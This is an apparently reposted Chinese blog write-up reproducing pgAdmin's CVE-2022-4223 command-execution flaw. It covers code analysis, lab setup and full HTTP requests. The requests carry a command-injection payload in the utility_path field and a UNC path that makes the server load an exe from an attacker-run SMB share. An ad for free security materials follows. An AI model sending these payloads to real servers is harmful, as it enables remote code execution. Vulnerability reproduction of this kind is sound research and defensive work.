首页 > 其他分享 >pgAdmin未授权命令执行漏洞(CVE-2022-4223)

pgAdmin未授权命令执行漏洞(CVE-2022-4223)

时间:2024-06-11 13:21:58浏览次数:12  
标签:binary pgAdmin application pg 2022 path CVE os utility

image

https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码

首先从代码层面进行分析

image

接口 /validate_binary_path​ 最后调用了 subprocess.getoutput(​来执行了命令

image

image

image

这一部分代码是对传入的路径进行检测,如果是在 linux 下直接拼接,在windows 下部署,后缀中会添加 .exe​ 。同时 windows下恶意的exe文件必须是下面几个文件名之一 'pg_dump', 'pg_dumpall', 'pg_restore', 'psql'

linux

可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin

docker pull dpage/pgadmin4:6.16
docker run -e '[email protected]' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:6.16

image

直接构造发送会提示 The CSRF token is missing.

所以我们先请求路由 login

image

image

POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en;pga4_session=bada494b-009f-4c04-bded-20497c5dcf74!pMVxVlI925/AqyV9Oq0RqiPecdo0fWg2hWYHxGDEpYc=;
Connection: close
Content-Type: application/json
Content-Length: 33
​
{"utility_path":"a\";ifconfig;#"}

image

import os
binary_path = "a\";ifconfig;#"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
    full_path = os.path.abspath(
        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
    )
    print(full_path)
​

image

我们简化代码在linux 下执行,最后利用;​ 分割执行命令

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

windows

下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/windows/pgadmin4-5.7-x64.exe

我们发现同样在 windows 下拼接时是无法利用;​ 分割执行命令,但是可以通过 UNC path指定攻击者的恶意文件

image

import os
binary_path = "\\\\192.168.222.1\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
    full_path = os.path.abspath(
        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
    )
    print(full_path)

image

我们发现通过构造传入参数,我们可以伪造共享地址

image

windows 下的环境始终无法启动 web 界面,因为环境实在太老了,启动 C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web\setup.py 各种版本问题,一直没办法启动成功,所以只做理论上的验证

后来我发现安装完成之后,会在界面下提供一个python目录,所以直接选择该python 来启动项目,需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'

image

image

使用impacket提供的smbserver.py脚本构造恶意的smb服务 smbserver.py TMP /tmp

image

编译恶意的exe文件并放到对应目录

  • pip install pyinstaller

  • type execute_calc.py

    import subprocess
    ​
    def execute_calc():
        subprocess.call("calc.exe")
    ​
    if __name__ == "__main__":
        execute_calc()
  • pyinstaller --onefile execute_calc.py

image

POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-pgA-CSRFToken: Ijg5MDJjOGQ2YmVlNTA1NDMwZjFmODA1ZWNjYTIyNzg5MjExM2EzNDci.Zi3CIg.9u2mEcj30C2tPX0soO3L7tJrp5w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=9cd07409-7aca-46c3-8635-e615a7fcd4ac!lthUHprxGzxRdWMWfPm1VLDOLpk=; 
Connection: close
Content-Type: application/json
Content-Length: 45
​
{"utility_path":"\\\\192.168.222.128\\TMP\\"}

image

1

更多网安技能的在线实操练习,请点击这里>>

  

标签:binary,pgAdmin,application,pg,2022,path,CVE,os,utility
From: https://www.cnblogs.com/hetianlab/p/18241887

相关文章

  • vs2022 AI插件 通义灵码
    一.推荐灵码推荐地址和官网介绍https://developer.aliyun.com/topic/lingma/activities/202405?taskCode=16245&recordId=25d6bfc41bf0b67809848dd90cf62ad6#/?utm_content=m_fission_1二.公测安装由于目前还是公测阶段所以官网还未展示vs2022的介绍后面公测结束了可以直接点......
  • SQL Server 2022 RTM 最新累积更新:Cumulative Update #13 for SQL Server 2022 RTM
    SQLServer2022RTM(最新累积更新)-基于Azure的持续性能和安全创新CumulativeUpdate#13forSQLServer2022RTM请访问原文链接:https://sysin.org/blog/sql-server-2022/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgSQLServer2022现已普遍可用2022......
  • kali2022安装教程(附安装包)
    第一步:下载镜像文件百度网盘下载[链接:https://pan.baidu.com/s/1efRQGFTbq6Kgw9axLOmWzg?pwd=emxf()第二步:打开Vmware创建新的虚拟机,选择高级,然后下一步直接默认下一步选择稍后安装然后下一步kali属于Debian系统所以这里直接选择Debian664位进行命名和选择安装位置......
  • PHP-CGI Windows平台远程代码执行漏洞复现(CVE-2024-4577)
    0x01产品简介PHP-CGI 是一种用于在 Web 服务器上运行 PHP 脚本的接口,通过 CGI(公共网关接口)将 PHP 解释器与 Web 服务器连接。0x02漏洞概述2024年6月,PHP官方发布新版本,修复了 PHP-CGI 中一个远程代码执行漏洞。鉴于该漏洞无前置条件,易于利用,且默认情况下可获取......
  • 2022.9.22DAY674
    课程学习:《模式识别》,讲了“最小均方误差算法”,从误差算法怎么来以及如何使用。 android实验课,讲了一些基本控件的使用,这些都是基础的东西,值得我去注意的是老师讲到如何通过官网文档去查看控件的属性,方法。以及通过文件去找到相关的开源代码,对于一个开发者来说,这才是值得去......
  • Springboot计算机毕业设计疫情蔬菜供给系统演示录像2022【附源码】开题+论文+mysql+程
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景2022年,全球仍受到新冠疫情的深远影响。在疫情期间,人们的生活方式和消费习惯发生了显著变化,尤其是在食品采购方面。蔬菜作为日常生活的必需品,其供给稳......
  • P9000 [CEOI2022] Measures 题解
    思路简单题。考虑任意两点之间的限制。任意两点合法时必须要满足:\[\frac{d(j-i)-(a_j-a_i)}{2}\let(i\lej)\]所以答案即为:\[\max_{i\lej}\frac{d(j-i)-(a_j-a_i)}{2}\]使用线段树简单维护即可。时间复杂度:\(O((n+m)\log(n+m))\)。Code#include<bits/stdc++.h>using......
  • [ICML2022]Open-Sampling Exploring Out-of-Distribution Data for Re-balancing Long
    引入开集样本训练模型有点像dropout,“破坏”某些模型参数防止尾部类的过拟合Motivation长尾学习中的训练数据集分布不平衡的问题,解决方法之一是重采样。重采样主要对于尾部类重复采用,但这种做法往往会导致尾部类的过拟合。为了缓解过拟合[2](Rethinkingthevalueoflabelsf......
  • 2种方法解决需要clik点击数的题目——[HNCTF 2022 WEEK2]getflag 137分 MFC patch RE
    题目   DIEIDA找到判断点击数的if,我们修改一下汇编指令让点击数<99999999就成立这个程序没有要求我们输入,说明flag是程序打印的IDA动调 下一个断点修改 得到flag  还有一种更快的方法——CheatEngine 随便点击几次 在CE中修改点击次数 Getf......
  • 「漏洞复现」Apache OFBiz 路径遍历漏洞(CVE-2024-36104)
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......